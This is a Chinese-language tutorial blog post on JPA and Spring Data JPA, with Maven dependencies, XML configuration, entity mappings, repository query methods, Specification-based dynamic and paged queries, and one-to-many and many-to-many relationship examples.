Spring Data JPA

一、JPA概述:

  JPA的全稱是Java Persistence API, 即Java 持久化API,是SUN公司推出的一套基於ORM的規範,內部是由一系列的接口和抽象類構成。JPA通過JDK 5.0註解描述對象-關係表的映射關係,並將運行期的實體對象持久化到數據庫中。

  JPA的優勢:標準化、容器級特性的支持、簡單方便、查詢能力、高級特性

二、JPA與Hibernate的關係:

  JPA規範本質上就是一種ORM規範,注意不是ORM框架——因為JPA並未提供ORM實現,它只是制訂了一些規範,提供了一些編程的API接口,但具體實現則由服務廠商來提供實現。JPAHibernate的關係就像JDBCJDBC驅動的關係,JPA是規範,Hibernate除了作為ORM框架之外,它也是一種JPA實現。

 

 

 

三、JPA環境搭建:

1、創建一個maven工程,在pom.xml中導入對應的坐標

 1    <properties>
 2         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
 3         <project.hibernate.version>5.0.7.Final</project.hibernate.version>
 4     </properties>
 5 
 6     <dependencies>
 7         <!-- junit -->
 8         <dependency>
 9             <groupId>junit</groupId>
10             <artifactId>junit</artifactId>
11             <version>4.12</version>
12             <scope>test</scope>
13         </dependency>
14 
15         <!-- hibernate對jpa的支持包 -->
16         <dependency>
17             <groupId>org.hibernate</groupId>
18             <artifactId>hibernate-entitymanager</artifactId>
19             <version>${project.hibernate.version}</version>
20         </dependency>
21 
22         <!-- c3p0 -->
23         <dependency>
24             <groupId>org.hibernate</groupId>
25             <artifactId>hibernate-c3p0</artifactId>
26             <version>${project.hibernate.version}</version>
27         </dependency>
28 
29         <!-- log日誌 -->
30         <dependency>
31             <groupId>log4j</groupId>
32             <artifactId>log4j</artifactId>
33             <version>1.2.17</version>
34         </dependency>
35 
36         <!-- Mysql and MariaDB -->
37         <dependency>
38             <groupId>mysql</groupId>
39             <artifactId>mysql-connector-java</artifactId>
40             <version>5.1.6</version>
41         </dependency>
42     </dependencies>

2、編寫實體類和數據表的映射配置,創建實體類以後,使用對應的註釋配置映射關係

     @Entity
            作用:指定當前類是實體類。
        @Table
            作用:指定實體類和表之間的對應關係。
            屬性:
                name:指定數據庫表的名稱
        @Id
            作用:指定當前字段是主鍵。
        @GeneratedValue
            作用:指定主鍵的生成方式。。
            屬性:
                strategy :指定主鍵生成策略。
        @Column
            作用:指定實體類屬性和數據庫表之間的對應關係
            屬性:
                name:指定數據庫表的列名稱。
                unique:是否唯一  
                nullable:是否可以為空  
                inserttable:是否可以插入  
                updateable:是否可以更新  
                columnDefinition: 定義建表時創建此列的DDL  
                secondaryTable: 從表名。如果此列不建在主表上(默認建在主表),該屬性定義該列所在從表的名字搭建開發環境[重點]

3、配置JPA的核心配置文件

在java工程的src路徑下創建一個名為META-INF的文件夾,在此文件夾下創建一個名為persistence.xml的配置文件

<?xml version="1.0" encoding="UTF-8"?>
<persistence xmlns="http://java.sun.com/xml/ns/persistence"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/persistence  
    http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd"
    version="2.0">
    <!--配置持久化單元 
        name:持久化單元名稱 
        transaction-type:事務類型
             RESOURCE_LOCAL:本地事務管理 
             JTA:分佈式事務管理 -->
    <persistence-unit name="myJpa" transaction-type="RESOURCE_LOCAL">
        <!--配置JPA規範的服務提供商 -->
        <provider>org.hibernate.jpa.HibernatePersistenceProvider</provider>
        <properties>
            <!-- 數據庫驅動 -->
            <property name="javax.persistence.jdbc.driver" value="com.mysql.jdbc.Driver" />
            <!-- 數據庫地址 -->
            <property name="javax.persistence.jdbc.url" value="jdbc:mysql://localhost:3306/jpa" />
            <!-- 數據庫用戶名 -->
            <property name="javax.persistence.jdbc.user" value="root" />
            <!-- 數據庫密碼 -->
            <property name="javax.persistence.jdbc.password" value="111111" />

            <!--jpa提供者的可選配置:我們的JPA規範的提供者為hibernate,所以jpa的核心配置中兼容hibernate的配 -->
<property name="hibernate.show_sql" value="true" /> <property name="hibernate.format_sql" value="true" />
        
       <!--自動創建數據庫表:create(運行時創建表),update(如過有表則不創建表),none(不創建表) <property name="hibernate.hbm2ddl.auto" value="create" /> </properties> </persistence-unit> </persistence>

4、測試數據庫操作

通過調用EntityManager的方法完成獲取事務,以及持久化數據庫的操作

方法說明:    
    getTransaction : 獲取事務對象
    persist : 保存操作
    merge : 更新操作
    remove : 刪除操作
    find/getReference : 根據id查詢
 1 @Test
 2     public void test() {
 3         /**
 4          * 創建實體管理類工廠,藉助Persistence的靜態方法獲取
 5          *         其中傳遞的參數為持久化單元名稱,需要jpa配置文件中指定
 6          */
 7         EntityManagerFactory factory = Persistence.createEntityManagerFactory("myJpa");
 8         //創建實體管理類
 9         EntityManager em = factory.createEntityManager();
10         //獲取事務對象
11         EntityTransaction tx = em.getTransaction();
12         //開啟事務
13         tx.begin();
14         Customer c = new Customer();
15         c.setCustName("天地壹號");
16         //保存操作
17         em.persist(c);
18         //提交事務
19         tx.commit();
20         //釋放資源
21         em.close();
22         factory.close();
23     }

6、抽取JPAUtil工具類,通過工具類生成實體類管理器對象

package top.biyenanhai.dao;

import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;

public final class JPAUtil {
    // JPA的實體管理器工廠:相當於Hibernate的SessionFactory
    private static EntityManagerFactory em;
    // 使用靜態代碼塊賦值
    static {
        // 注意:該方法參數必須和persistence.xml中persistence-unit標籤name屬性取值一致
        em = Persistence.createEntityManagerFactory("myPersistUnit");
    }

    /**
     * 使用管理器工廠生產一個管理器對象
     * 
     * @return
     */
    public static EntityManager getEntityManager() {
        return em.createEntityManager();
    }
}

 

三、Spring Data JPA概述:

  Spring Data JPA 是 Spring 基於 ORM 框架、JPA 規範的基礎上封裝的一套JPA應用框架,可使開發者用極簡的代碼即可實現對數據庫的訪問和操作。它提供了包括增刪改查等在內的常用功能,且易於擴展!學習並使用 Spring Data JPA 可以極大提高開發效率!Spring Data JPA 讓我們解脫了DAO層的操作,基本上所有CRUD都可以依賴於它來實現,在實際的工作工程中,推薦使用Spring Data JPA + ORM(如:hibernate)完成操作,這樣在切換不同的ORM框架時提供了極大的方便,同時也使數據庫層操作更加簡單,方便解耦。

四、Spring Data JPA 與 JPA和hibernate之間的關係:

  JPA是一套規範,內部是有接口和抽象類組成的。hibernate是一套成熟的ORM框架,而且Hibernate實現了JPA規範,所以也可以稱hibernate為JPA的一種實現方式,我們使用JPA的API編程,意味着站在更高的角度上看待問題(面向接口編程)。Spring Data JPA是Spring提供的一套對JPA操作更加高級的封裝,是在JPA規範下的專門用來進行數據持久化的解決方案。

五、Spring Data JPA快速搭建開發環境:

1、創建maven工程,導入Spring Data JPA的坐標

  1    <properties>
  2         <spring.version>4.2.4.RELEASE</spring.version>
  3         <hibernate.version>5.0.7.Final</hibernate.version>
  4         <slf4j.version>1.6.6</slf4j.version>
  5         <log4j.version>1.2.12</log4j.version>
  6         <c3p0.version>0.9.1.2</c3p0.version>
  7         <mysql.version>5.1.6</mysql.version>
  8     </properties>
  9 
 10     <dependencies>
 11         <!-- junit單元測試 -->
 12         <dependency>
 13             <groupId>junit</groupId>
 14             <artifactId>junit</artifactId>
 15             <version>4.12</version>
 16             <scope>test</scope>
 17         </dependency>
 18         
 19         <!-- spring beg -->
 20         <dependency>
 21             <groupId>org.aspectj</groupId>
 22             <artifactId>aspectjweaver</artifactId>
 23             <version>1.6.8</version>
 24         </dependency>
 25 
 26         <dependency>
 27             <groupId>org.springframework</groupId>
 28             <artifactId>spring-aop</artifactId>
 29             <version>${spring.version}</version>
 30         </dependency>
 31 
 32         <dependency>
 33             <groupId>org.springframework</groupId>
 34             <artifactId>spring-context</artifactId>
 35             <version>${spring.version}</version>
 36         </dependency>
 37 
 38         <dependency>
 39             <groupId>org.springframework</groupId>
 40             <artifactId>spring-context-support</artifactId>
 41             <version>${spring.version}</version>
 42         </dependency>
 43 
 44         <dependency>
 45             <groupId>org.springframework</groupId>
 46             <artifactId>spring-orm</artifactId>
 47             <version>${spring.version}</version>
 48         </dependency>
 49 
 50         <dependency>
 51             <groupId>org.springframework</groupId>
 52             <artifactId>spring-beans</artifactId>
 53             <version>${spring.version}</version>
 54         </dependency>
 55 
 56         <dependency>
 57             <groupId>org.springframework</groupId>
 58             <artifactId>spring-core</artifactId>
 59             <version>${spring.version}</version>
 60         </dependency>
 61         
 62         <!-- spring end -->
 63 
 64         <!-- hibernate beg -->
 65         <dependency>
 66             <groupId>org.hibernate</groupId>
 67             <artifactId>hibernate-core</artifactId>
 68             <version>${hibernate.version}</version>
 69         </dependency>
 70         <dependency>
 71             <groupId>org.hibernate</groupId>
 72             <artifactId>hibernate-entitymanager</artifactId>
 73             <version>${hibernate.version}</version>
 74         </dependency>
 75         <dependency>
 76             <groupId>org.hibernate</groupId>
 77             <artifactId>hibernate-validator</artifactId>
 78             <version>5.2.1.Final</version>
 79         </dependency>
 80         <!-- hibernate end -->
 81 
 82         <!-- c3p0 beg -->
 83         <dependency>
 84             <groupId>c3p0</groupId>
 85             <artifactId>c3p0</artifactId>
 86             <version>${c3p0.version}</version>
 87         </dependency>
 88         <!-- c3p0 end -->
 89 
 90         <!-- log end -->
 91         <dependency>
 92             <groupId>log4j</groupId>
 93             <artifactId>log4j</artifactId>
 94             <version>${log4j.version}</version>
 95         </dependency>
 96 
 97         <dependency>
 98             <groupId>org.slf4j</groupId>
 99             <artifactId>slf4j-api</artifactId>
100             <version>${slf4j.version}</version>
101         </dependency>
102 
103         <dependency>
104             <groupId>org.slf4j</groupId>
105             <artifactId>slf4j-log4j12</artifactId>
106             <version>${slf4j.version}</version>
107         </dependency>
108         <!-- log end -->
109 
110         
111         <dependency>
112             <groupId>mysql</groupId>
113             <artifactId>mysql-connector-java</artifactId>
114             <version>${mysql.version}</version>
115         </dependency>
116 
117         <dependency>
118             <groupId>org.springframework.data</groupId>
119             <artifactId>spring-data-jpa</artifactId>
120             <version>1.9.0.RELEASE</version>
121         </dependency>
122 
123         <dependency>
124             <groupId>org.springframework</groupId>
125             <artifactId>spring-test</artifactId>
126             <version>4.2.4.RELEASE</version>
127         </dependency>
128         
129         <!-- el beg 使用spring data jpa 必須引入 -->
130         <dependency>  
131             <groupId>javax.el</groupId>  
132             <artifactId>javax.el-api</artifactId>  
133             <version>2.2.4</version>  
134         </dependency>  
135           
136         <dependency>  
137             <groupId>org.glassfish.web</groupId>  
138             <artifactId>javax.el</artifactId>  
139             <version>2.2.4</version>  
140         </dependency> 
141         <!-- el end -->
142 
143         <dependency>
144             <groupId>javax.xml.bind</groupId>
145             <artifactId>jaxb-api</artifactId>
146             <version>2.3.0</version>
147         </dependency>
148         <dependency>
149             <groupId>com.sun.xml.bind</groupId>
150             <artifactId>jaxb-impl</artifactId>
151             <version>2.3.0</version>
152         </dependency>
153         <dependency>
154             <groupId>com.sun.xml.bind</groupId>
155             <artifactId>jaxb-core</artifactId>
156             <version>2.3.0</version>
157         </dependency>
158         <dependency>
159             <groupId>javax.activation</groupId>
160             <artifactId>activation</artifactId>
161             <version>1.1.1</version>
162         </dependency>
163     </dependencies>
164         

2、整合Spring Data JPA與Spring

 1 <?xml version="1.0" encoding="UTF-8"?>
 2 <beans xmlns="http://www.springframework.org/schema/beans"
 3     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop"
 4     xmlns:context="http://www.springframework.org/schema/context"
 5     xmlns:jdbc="http://www.springframework.org/schema/jdbc" xmlns:tx="http://www.springframework.org/schema/tx"
 6     xmlns:jpa="http://www.springframework.org/schema/data/jpa" xmlns:task="http://www.springframework.org/schema/task"
 7     xsi:schemaLocation="
 8         http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
 9         http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd
10         http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd
11         http://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc.xsd
12         http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd
13         http://www.springframework.org/schema/data/jpa 
14         http://www.springframework.org/schema/data/jpa/spring-jpa.xsd">
15     
16     <!-- 1.dataSource 配置數據庫連接池-->
17     <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource">
18         <property name="driverClass" value="com.mysql.jdbc.Driver" />
19         <property name="jdbcUrl" value="jdbc:mysql://localhost:3306/jpa" />
20         <property name="user" value="root" />
21         <property name="password" value="111111" />
22     </bean>
23     
24     <!-- 2.配置entityManagerFactory -->
25     <bean id="entityManagerFactory" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean">
26         <property name="dataSource" ref="dataSource" />
27         <property name="packagesToScan" value="cn.itcast.entity" />
28         <property name="persistenceProvider">
29             <bean class="org.hibernate.jpa.HibernatePersistenceProvider" />
30         </property>
31         <!--JPA的供應商適配器-->
32         <property name="jpaVendorAdapter">
33             <bean class="org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter">
34                 <property name="generateDdl" value="false" />
35                 <property name="database" value="MYSQL" />
36                 <property name="databasePlatform" value="org.hibernate.dialect.MySQLDialect" />
37                 <property name="showSql" value="true" />
38             </bean>
39         </property>
40         <property name="jpaDialect">
41             <bean class="org.springframework.orm.jpa.vendor.HibernateJpaDialect" />
42         </property>
43     </bean>
44     
45     
46     <!-- 3.事務管理器-->
47     <!-- JPA事務管理器  -->
48     <bean id="transactionManager" class="org.springframework.orm.jpa.JpaTransactionManager">
49         <property name="entityManagerFactory" ref="entityManagerFactory" />
50     </bean>
51     
52     <!-- 整合spring data jpa-->
53     <jpa:repositories base-package="top.biyenanhai.mapper"
54         transaction-manager-ref="transactionManager"
55         entity-manager-factory-ref="entityManagerFactory"></jpa:repositories>
56         
57     <!-- 4.txAdvice-->
58     <tx:advice id="txAdvice" transaction-manager="transactionManager">
59         <tx:attributes>
60             <tx:method name="*" propagation="REQUIRED"/>
61             <tx:method name="get*" read-only="true"/>
62             <tx:method name="find*" read-only="true"/>
63         </tx:attributes>
64     </tx:advice>
65     
66     <!-- 5.aop-->
67     <aop:config>
68         <aop:pointcut id="pointcut" expression="execution(* top.biyenanhai.service.*.*(..))" />
69         <aop:advisor advice-ref="txAdvice" pointcut-ref="pointcut" />
70     </aop:config>
71     
72     <context:component-scan base-package="cn.itcast"></context:component-scan>
73     <!--6、配置包掃描-->
74     <context:component-scan base-package="top.biyenanhai"/>
75     <!--組裝其它 配置文件-->
76     
77 </beans>

3、使用JPA註解配置映射關係

package top.biyenanhai.entity;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.Table;

/**
 * 
 *      * 所有的註解都是使用JPA的規範提供的註解,
 *      * 所以在導入註解包的時候,一定要導入javax.persistence下的
 */
@Entity //聲明實體類
@Table(name="cst_customer") //建立實體類和表的映射關係
public class Customer {
    
    @Id//聲明當前私有屬性為主鍵
    @GeneratedValue(strategy=GenerationType.IDENTITY) //配置主鍵的生成策略
    @Column(name="cust_id") //指定和表中cust_id字段的映射關係
    private Long custId;
    
    @Column(name="cust_name") //指定和表中cust_name字段的映射關係
    private String custName;
    
    @Column(name="cust_source")//指定和表中cust_source字段的映射關係
    private String custSource;
    
    @Column(name="cust_industry")//指定和表中cust_industry字段的映射關係
    private String custIndustry;
    
    @Column(name="cust_level")//指定和表中cust_level字段的映射關係
    private String custLevel;
    
    @Column(name="cust_address")//指定和表中cust_address字段的映射關係
    private String custAddress;
    
    @Column(name="cust_phone")//指定和表中cust_phone字段的映射關係
    private String custPhone;
    
    //添加get,set方法,toString方法
}

3、編寫符合Spring Data JPA規範的Dao層接口,繼承JpaRepository<T,ID>和JpaSpecificationExecutor<T>

 *     JpaRepository<操作的實體類類型,實體類中主鍵屬性的類型>
 *              *封裝了基本CURD操作
 *     JpaSpecificationExecutor<操作的實體類類型>
 *              *封裝了複雜查詢(分頁)
package top.biyenanhai.dao;

import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.JpaSpecificationExecutor;
import org.springframework.data.jpa.repository.Modifying;
import org.springframework.data.jpa.repository.Query;
import top.biyenanhai.domain.Customer;

import java.util.List;

/**
 * Created with IntelliJ IDEA.
 *
 * @Auther: 畢業男孩
 *
 * 符合SpringDataJpa的dao接口規範
 *      JpaRepository<操作的實體類類型,實體類中主鍵屬性的類型>
 *              *封裝了基本CURD操作
 *      JpaSpecificationExecutor<操作的實體類類型>
 *              *封裝了複雜查詢(分頁)
 *
 */
public interface CustomerDao extends JpaRepository<Customer, Long>, JpaSpecificationExecutor<Customer> {

    /**
     * 案例:根據客戶名稱查詢客戶
     *      使用jpql的形式查詢
     *
     *  jpql:from Customer where custName = ?
     *
     *  配置jpql語句,使用@Query註解
     */
    @Query(value="from Customer where custName = ? ")
    Customer findJpql(String custName);

    /**
     * 案例:根據客戶名稱和客戶id查詢客戶
     *      jqpl:from Customer where cutName = ? and custId = ?
     *
     *   對於多個佔位符參數
     *          賦值的時候,默認的情況下,佔位符的位置需要和方法參數中的位置保持一致
     *   可以指定佔位符參數的位置
     *          ?索引的方式,指定此佔位的取值來源
     */
    @Query(value = "from Customer where custName=?2 and custId=?1")
    Customer findCustNameAndCustId(Long id,String name);


    /**
     * 使用jpql完成更新操作
     *      案例:根據id更新,客戶的名稱
     *          更新4號客戶的名稱,將名稱改為“老男孩”
     *
     *
     * sql:update cst_customer set cust_name = ?where cust_id=?
     * jpql:update Customer set custName=? where custId=?
     *
     * @Query:代表的是進行查詢
     *      聲明此方法是用來更新操作
     * @Modifying:當前執行的是一個更新操作
     */
    @Query(value = "update Customer set custName=?2 where custId=?1")
    @Modifying
    void updateCustomer(long id, String custName);


    /**
     * 使用sql的形式查詢:
     *      查詢全部的客戶
     *      sql:select * from cst_custimer;
     *      Query:配置sql查詢
     *          value: sql語句
     *          nativeQuery: 查詢方式
     *              true:sql查詢
     *              false:jpql查詢
     */
//    @Query(value = "select * from cst_customer", nativeQuery = true)  //查詢全部

    @Query(value = "select * from cst_customer where cust_name like ?1",nativeQuery = true) //條件查詢
    List<Object[]> findSql(String name);


    /**
     * 方法名的約定:
     *      findBy:查詢
     *          對象中的屬性名(首字母大寫):查詢的條件
     *          CustName
     *          *默認情況:使用 等於的方式查詢
     *              特殊的查詢方式
     * findByCustName --  根據客戶名稱查詢
     *
     * 在springdataJpa的運行階段
     *      會根據方法名稱進行解析  findBy  from xxx(實體類)
     *                                  屬性名稱    where custName =
     *
     *
     *      1、findBy + 屬性名稱(根據屬性名稱進行完成匹配的查詢=)
     *      2、findBy + 屬性名稱 + “查詢方式(Like|isnull)”
     *      3、多條件查詢
     *          findBy + 屬性名 + "查詢條件" + "多條件的連接符(and|or)" + 屬性名 + “查詢方式”
     *
     */
    Customer findByCustName(String custName);

    List<Customer> findByCustNameLike(String name);

    List<Customer> findByCustNameLikeAndCustIndustry(String name, String industry);

}

4、測試基本CRUD操作

@RunWith(SpringJUnit4ClassRunner.class) //聲明spring提供的單元測試環境
@ContextConfiguration(locations = "classpath:applicationContext.xml")//指定spring容器的配置信息
public class CustomerDaoTest {

    @Autowired
    private CustomerDao customerDao;

    /**
     * 根據id查詢
     */
    @Test
    public void testFindOne(){
        Customer customer = customerDao.findOne(1l);
        System.out.println(customer);
    }
......
    
    /**
     * 測試jqpl的更新操作
     * 更新和刪除操作要加上事務的註解
     *
     * springDataJpa中使用jpql完成  更新/刪除操作
     *          需要手動添加事務的支持
     *          默認回執行結束之後,回滾事務
     *    @Rollback:設置是否自動回滾
     */
    @Test
    @Transactional//添加事務的支持
    @Rollback(false)
    public void testUpdate(){
        customerDao.updateCustomer(1l, "航空航天科技有限公司");
    }
......

5、具體關鍵字,使用方法和生產成SQL如下錶所示

Keyword

Sample

JPQL

And

findByLastnameAndFirstname

… where x.lastname = ?1 and x.firstname = ?2

Or

findByLastnameOrFirstname

… where x.lastname = ?1 or x.firstname = ?2

Is,Equals

findByFirstnameIs,

findByFirstnameEquals

… where x.firstname = ?1

Between

findByStartDateBetween

… where x.startDate between ?1 and ?2

LessThan

findByAgeLessThan

… where x.age < ?1

LessThanEqual

findByAgeLessThanEqual

… where x.age ?1

GreaterThan

findByAgeGreaterThan

… where x.age > ?1

GreaterThanEqual

findByAgeGreaterThanEqual

… where x.age >= ?1

After

findByStartDateAfter

… where x.startDate > ?1

Before

findByStartDateBefore

… where x.startDate < ?1

IsNull

findByAgeIsNull

… where x.age is null

IsNotNull,NotNull

findByAge(Is)NotNull

… where x.age not null

Like

findByFirstnameLike

… where x.firstname like ?1

NotLike

findByFirstnameNotLike

… where x.firstname not like ?1

StartingWith

findByFirstnameStartingWith

… where x.firstname like ?1 (parameter bound with appended %)

EndingWith

findByFirstnameEndingWith

… where x.firstname like ?1 (parameter bound with prepended %)

Containing

findByFirstnameContaining

… where x.firstname like ?1 (parameter bound wrapped in %)

OrderBy

findByAgeOrderByLastnameDesc

… where x.age = ?1 order by x.lastname desc

Not

findByLastnameNot

… where x.lastname <> ?1

In

findByAgeIn(Collection ages)

… where x.age in ?1

NotIn

findByAgeNotIn(Collection age)

… where x.age not in ?1

TRUE

findByActiveTrue()

… where x.active = true

FALSE

findByActiveFalse()

… where x.active = false

IgnoreCase

findByFirstnameIgnoreCase

… where UPPER(x.firstame) = UPPER(?1)

 

六、Specifications動態查詢:

  有時我們在查詢某個實體的時候,給定的條件是不固定的,這時就需要動態構建相應的查詢語句,在Spring Data JPA中可以通過JpaSpecificationExecutor接口查詢。相比JPQL,其優勢是類型安全,更加的面向對象。對於JpaSpecificationExecutor,這個接口基本是圍繞着Specification接口來定義的。我們可以簡單的理解為,Specification構造的就是查詢條件。

/**
    *    root    :Root接口,代表查詢的根對象,可以通過root獲取實體中的屬性
    *    query    :代表一個頂層查詢對象,用來自定義查詢
    *    cb        :用來構建查詢,此對象里有很多條件方法
    **/
    public Predicate toPredicate(Root<T> root, CriteriaQuery<?> query, CriteriaBuilder cb);

案例:使用Specifications完成條件查詢

//依賴注入customerDao
    @Autowired
    private CustomerDao customerDao;    
    @Test
    public void testSpecifications() {
          //使用匿名內部類的方式,創建一個Specification的實現類,並實現toPredicate方法
        Specification <Customer> spec = new Specification<Customer>() {
            public Predicate toPredicate(Root<Customer> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                //cb:構建查詢,添加查詢方式   like:模糊匹配
                //root:從實體Customer對象中按照custName屬性進行查詢
                return cb.like(root.get("custName").as(String.class), "航天航空%");
            }
        };
        Customer customer = customerDao.findOne(spec);
        System.out.println(customer);
    }

案例:基於Specifications的分頁查詢

@Test
    public void testPage() {
        //構造查詢條件
        Specification<Customer> spec = new Specification<Customer>() {
            public Predicate toPredicate(Root<Customer> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
                return cb.like(root.get("custName").as(String.class), "航天%");
            }
        };
        
        /**
         * 構造分頁參數
         *         Pageable : 接口
         *             PageRequest實現了Pageable接口,調用構造方法的形式構造
         *                 第一個參數:頁碼(從0開始)
         *                 第二個參數:每頁查詢條數
         */
        Pageable pageable = new PageRequest(0, 5);
        
        /**
         * 分頁查詢,封裝為Spring Data Jpa 內部的page bean
         *         此重載的findAll方法為分頁方法需要兩個參數
         *             第一個參數:查詢條件Specification
         *             第二個參數:分頁參數
         */
        Page<Customer> page = customerDao.findAll(spec,pageable);
        
    }

對於Spring Data JPA中的分頁查詢,是其內部自動實現的封裝過程,返回的是一個Spring Data JPA提供的pageBean對象。其中的方法說明如下:

//獲取總頁數
int getTotalPages();
//獲取總記錄數    
long getTotalElements();
//獲取列表數據
List<T> getContent();

方法對應關係:

方法名稱

Sql對應關係

equal

filed = value

gt(greaterThan )

filed > value

lt(lessThan )

filed < value

ge(greaterThanOrEqualTo )

filed >= value

le( lessThanOrEqualTo)

filed <= value

notEqual

filed != value

like

filed like value

notLike

filed not like value

七、JPA中的一對多:

實體類(一對多,一的實體類)

/**
 * 客戶的實體類
 * 明確使用的註解都是JPA規範的
 * 所以導包都要導入javax.persistence包下的
 */
@Entity//表示當前類是一個實體類
@Table(name="cst_customer")//建立當前實體類和表之間的對應關係
public class Customer implements Serializable {
    
    @Id//表明當前私有屬性是主鍵
    @GeneratedValue(strategy=GenerationType.IDENTITY)//指定主鍵的生成策略
    @Column(name="cust_id")//指定和數據庫表中的cust_id列對應
    private Long custId;
    @Column(name="cust_name")//指定和數據庫表中的cust_name列對應
    private String custName;
    
    //配置客戶和聯繫人的一對多關係
    @OneToMany(targetEntity=LinkMan.class)
    @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id")
    private Set<LinkMan> linkmans = new HashSet<LinkMan>();

...get,set方法

實體類(一對多,多的實體類)

/**
 * 聯繫人的實體類(數據模型)
 */
@Entity
@Table(name="cst_linkman")
public class LinkMan implements Serializable {
    @Id
    @GeneratedValue(strategy=GenerationType.IDENTITY)
    @Column(name="lkm_id")
    private Long lkmId;
    @Column(name="lkm_name")
    private String lkmName;
    @Column(name="lkm_gender")
    private String lkmGender;
    @Column(name="lkm_phone")
    private String lkmPhone;

    //多對一關係映射:多個聯繫人對應客戶
    @ManyToOne(targetEntity=Customer.class)
    @JoinColumn(name="lkm_cust_id",referencedColumnName="cust_id")
    private Customer customer;//用它的主鍵,對應聯繫人表中的外鍵

...get,set方法

八、JPA中的多對多:

/**
 * 用戶的數據模型
 */
@Entity
@Table(name="sys_user")
public class SysUser implements Serializable {
    
    @Id
    @GeneratedValue(strategy=GenerationType.IDENTITY)
    @Column(name="user_id")
    private Long userId;
    @Column(name="user_name")
    private String userName;

    
    //多對多關係映射
    @ManyToMany(mappedBy="users")
    private Set<SysRole> roles = new HashSet<SysRole>();
/**
 * 角色的數據模型
 */
@Entity
@Table(name="sys_role")
public class SysRole implements Serializable {
    
    @Id
    @GeneratedValue(strategy=GenerationType.IDENTITY)
    @Column(name="role_id")
    private Long roleId;
    @Column(name="role_name")
    private String roleName;
    
    //多對多關係映射
    @ManyToMany
    @JoinTable(name="user_role_rel",//中間表的名稱
              //中間表user_role_rel字段關聯sys_role表的主鍵字段role_id
              joinColumns={@JoinColumn(name="role_id",referencedColumnName="role_id")},
              //中間表user_role_rel的字段關聯sys_user表的主鍵user_id
              inverseJoinColumns={@JoinColumn(name="user_id",referencedColumnName="user_id")}
    )
    private Set<SysUser> users = new HashSet<SysUser>();

 

映射的註解說明

@OneToMany:
       作用:建立一對多的關係映射
    屬性:
        targetEntityClass:指定多的多方的類的字節碼
        mappedBy:指定從表實體類中引用主表對象的名稱。
        cascade:指定要使用的級聯操作
        fetch:指定是否採用延遲加載

@ManyToOne
    作用:建立多對一的關係
    屬性:
        targetEntityClass:指定一的一方實體類字節碼
        cascade:指定要使用的級聯操作
        fetch:指定是否採用延遲加載
        optional:關聯是否可選。如果設置為false,則必須始終存在非空關係。

@JoinColumn
     作用:用於定義主鍵字段和外鍵字段的對應關係。
     屬性:
        name:指定外鍵字段的名稱
        referencedColumnName:指定引用主表的主鍵字段名稱
        unique:是否唯一。默認值不唯一
        nullable:是否允許為空。默認值允許。
        insertable:是否允許插入。默認值允許。
        updatable:是否允許更新。默認值允許。
        columnDefinition:列的定義信息。

 

九、Spring Data JPA中的多表查詢:

  對象導航查詢:對象導航檢索方式是根據已經加載的對象,導航到他的關聯對象。它利用類與類之間的關係來檢索對象。例如:我們通過ID查詢方式查出一個客戶,可以調用Customer類中的getLinkMans()方法來獲取該客戶的所有聯繫人。對象導航查詢的使用要求是:兩個對象之間必須存在關聯關係。

//查詢一個客戶,獲取該客戶下的所有聯繫人
@Autowired
private CustomerDao customerDao;
    
@Test
//由於是在java代碼中測試,為了解決no session問題,將操作配置到同一個事務中
@Transactional 
public void testFind() {
    Customer customer = customerDao.findOne(5l);
    Set<LinkMan> linkMans = customer.getLinkMans();//對象導航查詢
    for(LinkMan linkMan : linkMans) {
          System.out.println(linkMan);
    }
}
//查詢一個聯繫人,獲取該聯繫人的所有客戶
@Autowired
private LinkManDao linkManDao;
    
@Test
public void testFind() {
    LinkMan linkMan = linkManDao.findOne(4l);
    Customer customer = linkMan.getCustomer(); //對象導航查詢
    System.out.println(customer);
}

採用延遲加載的思想。通過配置的方式來設定當我們在需要使用時,發起真正的查詢。

配置方式:

/**
 * 在客戶對象的@OneToMany註解中添加fetch屬性
 *     FetchType.EAGER    :立即加載
 *     FetchType.LAZY            :延遲加載
 */
 @OneToMany(mappedBy="customer",fetch=FetchType.EAGER)
 private Set<LinkMan> linkMans = new HashSet<>();
    
/**
 * 在聯繫人對象的@ManyToOne註解中添加fetch屬性
 *         FetchType.EAGER    :立即加載
 *         FetchType.LAZY    :延遲加載
 */
 @ManyToOne(targetEntity=Customer.class,fetch=FetchType.EAGER)
 @JoinColumn(name="cst_lkm_id",referencedColumnName="cust_id")
 private Customer customer;

使用Specification查詢

/**
 * Specification的多表查詢
 */
@Test
public void testFind() {
    Specification<LinkMan> spec = new Specification<LinkMan>() {
        public Predicate toPredicate(Root<LinkMan> root, CriteriaQuery<?> query, CriteriaBuilder cb) {
            //Join代錶鏈接查詢,通過root對象獲取
            //創建的過程中,第一個參數為關聯對象的屬性名稱,第二個參數為連接查詢的方式(left,inner,right)
            //JoinType.LEFT : 左外連接,JoinType.INNER:內連接,JoinType.RIGHT:右外連接
            Join<LinkMan, Customer> join = root.join("customer",JoinType.INNER);
            return cb.like(join.get("custName").as(String.class),"航空航天");
        }
    };
    List<LinkMan> list = linkManDao.findAll(spec);
    for (LinkMan linkMan : list) {
        System.out.println(linkMan);
    }
}

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

